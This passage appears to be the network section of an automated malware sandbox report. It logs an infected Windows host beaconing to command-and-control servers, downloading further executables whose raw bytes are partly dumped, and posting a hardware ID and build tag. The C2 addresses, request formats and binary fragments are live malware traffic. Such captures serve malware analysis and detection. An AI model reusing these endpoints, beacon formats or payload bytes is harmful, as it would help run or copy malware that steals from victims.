Nov 1, 2024 12:14:49.393289089 CET	1236	IN	Data Raw: 04 04 00 8b 45 f4 48 4f 83 bd 54 ff ff ff 00 89 45 f4 0f 84 9e 02 04 00 80 bd 5d ff ff ff 00 8b 45 bc 0f 85 96 02 04 00 8b 18 8d 8d 54 ff ff ff e8 70 02 00 00 8b 85 58 ff ff ff 89 45 bc 8b 45 f4 85 c0 0f 88 92 04 04 00 3b fb 0f 84 31 fd ff ff e9 Data Ascii: EHOTE]ETpXEE;1uuuuSRu3SxMxl`MTM_^[rU]AjYf9H
Nov 1, 2024 12:14:49.393302917 CET	1236	IN	Data Raw: 7c d8 84 db 75 c9 5b 5f eb 8c 8b 46 08 b3 01 8b 4d f8 89 0c b8 8b 46 08 8b 4d f4 89 4c b8 04 eb d6 55 8b ec 83 e4 f8 b8 2c 00 02 00 e8 0e f5 03 00 53 56 57 8d 4c 24 28 e8 13 7f 00 00 8d 44 24 38 33 db 50 68 ff 7f 00 00 88 5c 24 19 88 5c 24 1a ff Data Ascii: \|u[_FMFMLU,SVWL$(D$83Ph\$\$(ID$PuIM3#MG;D$PQhMhM,#MM#MD$D$P$<Ph5MhIt$MY@\$5
Nov 1, 2024 12:14:49.398176908 CET	1236	IN	Data Raw: e0 50 e8 2f 79 00 00 8d 4d e0 e8 9b 69 00 00 68 74 ca 49 00 8d 4d d0 c7 45 e0 00 01 00 00 89 5d e8 c7 45 ec 01 00 00 00 e8 a1 6d 00 00 53 53 8d 45 e0 50 8d 45 d0 50 e8 fa 78 00 00 8d 4d d0 89 45 0c e8 63 69 00 00 8d 4d e0 e8 6c a0 00 00 8b 75 ac Data Ascii: P/yMihtIME]EmSSEPEPxMEciMluM"zEPM9}WhXIYYWh0IYYWhIYYWhIYYu>M8]uMEPMEMPxEPM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49990	185.215.113.43	80	1516	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:14:52.976485014 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 31 35 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003158001&unit=246122658369
Nov 1, 2024 12:14:53.885921955 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:14:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49991	185.215.113.16	80	1516	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:14:53.918380022 CET	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 12:14:54.833260059 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:14:54 GMT Content-Type: application/octet-stream Content-Length: 888832 Last-Modified: Sun, 27 Oct 2024 06:45:44 GMT Connection: keep-alive ETag: "671de198-d9000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,l@.@XP.$.text .rdata@@.data+@.reloc>K.LD@B
Nov 1, 2024 12:14:54.833277941 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ba c2 41 00 b1 d1 41 00 1a d2 41 00 00 00 00 Data Ascii: AAAUQEE
Nov 1, 2024 12:14:54.833296061 CET	1236	IN	Data Raw: fc 83 7d 0c 00 74 1a 8b 4d fc c6 01 00 8b 55 fc 83 c2 01 89 55 fc 8b 45 0c 83 e8 01 89 45 0c eb e0 8b 45 08 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 10 83 e8 01 89 45 10 78 11 8b 4d 08 ff 55 14 8b 4d 08 03 4d 0c 89 Data Ascii: }tMUUEEE]UEExMUMMM]UQSjh0hAj0rmEPtX}t,hEP>zS[hhAMQpqm[]UQEjj@h0hj
Nov 1, 2024 12:14:54.833308935 CET	212	IN	Data Raw: 6a 00 8d 95 10 fc ff ff 52 ff 15 00 e1 41 00 83 c4 0c 8d 8d f8 fb ff ff e8 e6 95 01 00 8d 8d 04 fc ff ff e8 db 95 01 00 8d 4d 08 e8 13 00 00 00 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 89 4d fc 8b 4d fc 83 c1 7c e8 ae Data Ascii: jRAM]UQMM\|MHM<M0M]UQMEPMM0QM0U<RM<EHPMHMUB
Nov 1, 2024 12:14:54.833319902 CET	1236	IN	Data Raw: 54 89 41 54 8b 4d fc 8b 55 08 8b 42 58 89 41 58 8b 4d fc 8b 55 08 8b 42 5c 89 41 5c 8b 4d fc 8b 55 08 8b 42 60 89 41 60 8b 4d fc 8b 55 08 8b 42 64 89 41 64 8b 4d fc 8b 55 08 8b 42 68 89 41 68 8b 4d fc 8b 55 08 8b 42 6c 89 41 6c 8b 4d fc 8b 55 08 Data Ascii: TATMUBXAXMUB\A\MUB`A`MUBdAdMUBhAhMUBlAlMUBpApMUBtAtMUBxAxM\|QM\|ME]UQMM$MMxMp]UQMEPMMQM
Nov 1, 2024 12:14:54.833332062 CET	12	IN	Data Raw: fd ff ff e8 53 90 01 00 8d 8d a8 fd Data Ascii: S
Nov 1, 2024 12:14:54.833400011 CET	1236	IN	Data Raw: ff ff e8 48 90 01 00 8d 8d b4 fd ff ff e8 3d 90 01 00 e9 a6 00 00 00 8d 95 cc fe ff ff 52 8d 85 30 fd ff ff 50 68 7c 57 42 00 8d 8d 3c fd ff ff 51 8d 55 08 52 8d 85 48 fd ff ff 50 68 d4 56 42 00 8d 8d 54 fd ff ff 51 8d 55 e8 52 8d 85 60 fd ff ff Data Ascii: H=R0Ph\|WB<QURHPhVBTQUR`PPi0<HT`R!sh#BhXB
Nov 1, 2024 12:14:54.833412886 CET	1236	IN	Data Raw: 08 e8 b5 f5 ff ff 8b e5 5d c3 cc 55 8b ec 8b 45 08 a3 98 73 6d 00 8b 0d 98 73 6d 00 c7 01 01 00 00 00 8b 55 0c c1 ea 0c a1 98 73 6d 00 89 50 04 8b 0d 98 73 6d 00 c7 41 08 00 00 00 00 8b 15 98 73 6d 00 c7 42 0c 00 00 00 00 c7 05 9c 73 6d 00 00 00 Data Ascii: ]UEsmsmUsmPsmAsmBsm]U}t#E8tMQ;U\|EEHME]UE3tUUE]UEEMQ+UUUEEM
Nov 1, 2024 12:14:54.833422899 CET	224	IN	Data Raw: 1e 42 00 68 84 1e 42 00 e8 9a 21 00 00 83 c4 0c a3 0c 70 6d 00 6a 08 68 98 1e 42 00 68 a4 1e 42 00 e8 81 21 00 00 83 c4 0c a3 b0 6a 6d 00 6a 0e 68 b0 1e 42 00 68 c0 1e 42 00 e8 68 21 00 00 83 c4 0c a3 98 6f 6d 00 6a 11 68 d0 1e 42 00 68 e4 1e 42 Data Ascii: BhB!pmjhBhB!jmjhBhBh!omjhBhBO!$lmjhBhB6!nmjhBhB!4pmjh(Bh@B!jmjhXBhhB ,kmjhxBhB lmjh
Nov 1, 2024 12:14:54.833472967 CET	1236	IN	Data Raw: a8 1f 42 00 68 b8 1f 42 00 e8 b9 20 00 00 83 c4 0c a3 50 6f 6d 00 6a 09 68 c8 1f 42 00 68 d4 1f 42 00 e8 a0 20 00 00 83 c4 0c a3 7c 6b 6d 00 6a 0a 68 e0 1f 42 00 68 ec 1f 42 00 e8 87 20 00 00 83 c4 0c a3 04 6b 6d 00 6a 0b 68 f8 1f 42 00 68 04 20 Data Ascii: BhB PomjhBhB \|kmjhBhB kmjhBh Bn kmjh Bh BU (mmjh( Bh8 B< nmjhH BhT B# $nmjh` Bhp B kmjh Bh Bmmjh Bh B
Nov 1, 2024 12:14:54.838155031 CET	1236	IN	Data Raw: 42 00 e8 ec 1b 00 00 83 c4 0c a3 f8 6e 6d 00 6a 0b 68 b8 24 42 00 68 c4 24 42 00 e8 d3 1b 00 00 83 c4 0c a3 b8 6a 6d 00 6a 0d 68 d0 24 42 00 68 e0 24 42 00 e8 ba 1b 00 00 83 c4 0c a3 dc 6e 6d 00 6a 09 68 f0 24 42 00 68 fc 24 42 00 e8 a1 1b 00 00 Data Ascii: Bnmjh$Bh$Bjmjh$Bh$Bnmjh$Bh$B<kmjh%Bh%BLlmjh %Bh8%BoomjhP%Bh\%BVkmjhh%Bhx%B=nmjh%Bh%B$(pmjh%Bh%BLnmjh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49999	185.215.113.206	80	1352	C:\Users\user\AppData\Local\Temp\1003159001\num.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:14:57.718981981 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 12:14:58.615561962 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:14:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 12:14:58.618808031 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCGDBGCAAEBFIECGHDG Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 35 35 46 34 36 30 35 42 42 45 36 34 31 32 30 30 32 31 34 35 34 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 47 2d 2d 0d 0a Data Ascii: ------DGCGDBGCAAEBFIECGHDGContent-Disposition: form-data; name="hwid"755F4605BBE64120021454------DGCGDBGCAAEBFIECGHDGContent-Disposition: form-data; name="build"tale------DGCGDBGCAAEBFIECGHDG--
Nov 1, 2024 12:14:58.901973963 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:14:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	50001	185.215.113.43	80	1516	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:14:58.476490974 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 31 35 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003159001&unit=246122658369
Nov 1, 2024 12:14:59.478615999 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:14:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	50003	185.215.113.43	80	1516	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:15:01.214270115 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:15:02.067066908 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:15:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	50007	185.215.113.16	80	5640	C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:15:02.743290901 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 12:15:03.671508074 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:15:03 GMT Content-Type: application/octet-stream Content-Length: 2787328 Last-Modified: Fri, 01 Nov 2024 10:15:56 GMT Connection: keep-alive ETag: "6724aa5c-2a8800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 e1 c8 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ @+`Ui` @ @.rsrc`2@.idata 8@jvktfkik@(:@lwlhqnbq b@.taggant@+"f@
Nov 1, 2024 12:15:03.671538115 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:15:03.671566010 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:15:03.671578884 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:15:03.671591043 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:15:03.671603918 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:15:03.671618938 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:15:03.671631098 CET	1236	IN	Data Raw: 38 12 f8 f5 ff f7 f4 40 99 e6 f6 b8 89 90 5b 07 35 ab 41 17 f6 cd 52 57 c4 20 31 38 4f ad a0 22 e1 9e 8a 93 4a 8f 61 d7 30 67 3b 11 5a c9 c4 37 a6 21 15 07 e2 1c f4 4a 97 cf f9 4c a7 19 b0 25 9a 14 e5 f6 ff 1b e9 ee f3 30 18 51 85 36 fa a5 d2 7f Data Ascii: 8@[5ARW 18O"Ja0g;Z7!JL%0Q6,O17O$,4'C2k%0^32F.lEJ~h<3M%1;/)z<F6#(Wn@8:\4<hWT$'S
Nov 1, 2024 12:15:03.671649933 CET	1236	IN	Data Raw: 23 13 0f f1 3b 13 1b 15 35 86 96 11 7f 3e 11 88 d6 46 e5 0c 08 cd 32 18 c6 9b 3a 01 9c de ea f5 d5 46 2b 17 38 fe 26 f4 2c 0d 69 79 9c 13 4f f7 d5 f2 0e c9 07 da 3e 03 ea b7 44 cd d3 3e 73 30 06 3f 8b ad 7f 92 e3 7e 9c 9e 02 f6 15 2f 6b a9 0e 56 Data Ascii: #;5>F2:F+8&,iyO>D>s0?~/kV%=A6{0VppyJ6:6}hm+YpF_sjB;M8;'b76fF-j:E&0G"3xp\I0)F3055
Nov 1, 2024 12:15:03.671664000 CET	1236	IN	Data Raw: dd 34 e8 ff 01 d6 0e 24 e9 fb 9e f7 90 7a e1 81 8b 0d 0d c9 cb 23 3b 60 80 e8 21 d8 ea 76 4b 53 f2 3b 21 c6 89 97 2c 32 27 e9 cb 24 b6 2c 2c 70 e6 1e 4b e7 7b fd 5f d5 a5 0e 71 d5 f6 ed 3e ac 0e 23 43 08 a8 e9 5a fe 8c 64 8a f6 13 c3 07 a5 59 78 Data Ascii: 4$z#;`!vKS;!,2'$,,pK{_q>#CZdYx2&aS 937;&j[J>;`4#y<D-Jg$9!q1H$;$:Js*&VL/)hgQ(uX,g\|. &&Uf(Bc
Nov 1, 2024 12:15:03.683727026 CET	1120	IN	Data Raw: 94 db d7 5d ae 2a f2 2c aa b6 fb 31 73 0a 2d 16 7a 23 e1 b5 7a 2a 4f 29 87 44 c3 e1 7c 1b d6 06 7a 1a 59 fb d6 2f 7d 64 09 77 c5 d0 da 5d 13 88 d5 50 46 f2 dc fc 16 39 d6 0c dd e1 f3 ef 42 fb 83 f1 54 f4 e9 ed 4f 48 56 33 f6 65 46 f9 41 b4 f6 76 Data Ascii: ],1s-z#zO)D\|zY/}dw]PF9BTOHV3eFAv[p^' .wz02>k!I3+0918}>.;^!Q-F'#:uX^fO{TT>2C1]-ob

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	50009	185.215.113.43	80	1516	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:15:03.640677929 CET	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Nov 1, 2024 12:15:04.534923077 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:15:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	50014	34.107.221.82	80	7936	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:15:04.947552919 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 12:15:05.548141956 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 18:21:24 GMT Age: 60821 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	50021	34.107.221.82	80	7936	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:15:06.202950954 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 1, 2024 12:15:06.801096916 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 71141 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 1, 2024 12:15:16.803522110 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 12:15:26.850438118 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 12:15:36.959836960 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 12:15:47.147576094 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	50022	185.215.113.43	80	1516	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:15:06.255498886 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:15:07.201246023 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:15:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	50025	34.107.221.82	80	7936	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:15:07.167211056 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 12:15:07.762389898 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 18:21:24 GMT Age: 60823 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 12:15:17.772253036 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 12:15:27.850460052 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 12:15:37.960036039 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 1, 2024 12:15:48.147376060 CET	6	OUT	Data Raw: 00 Data Ascii:

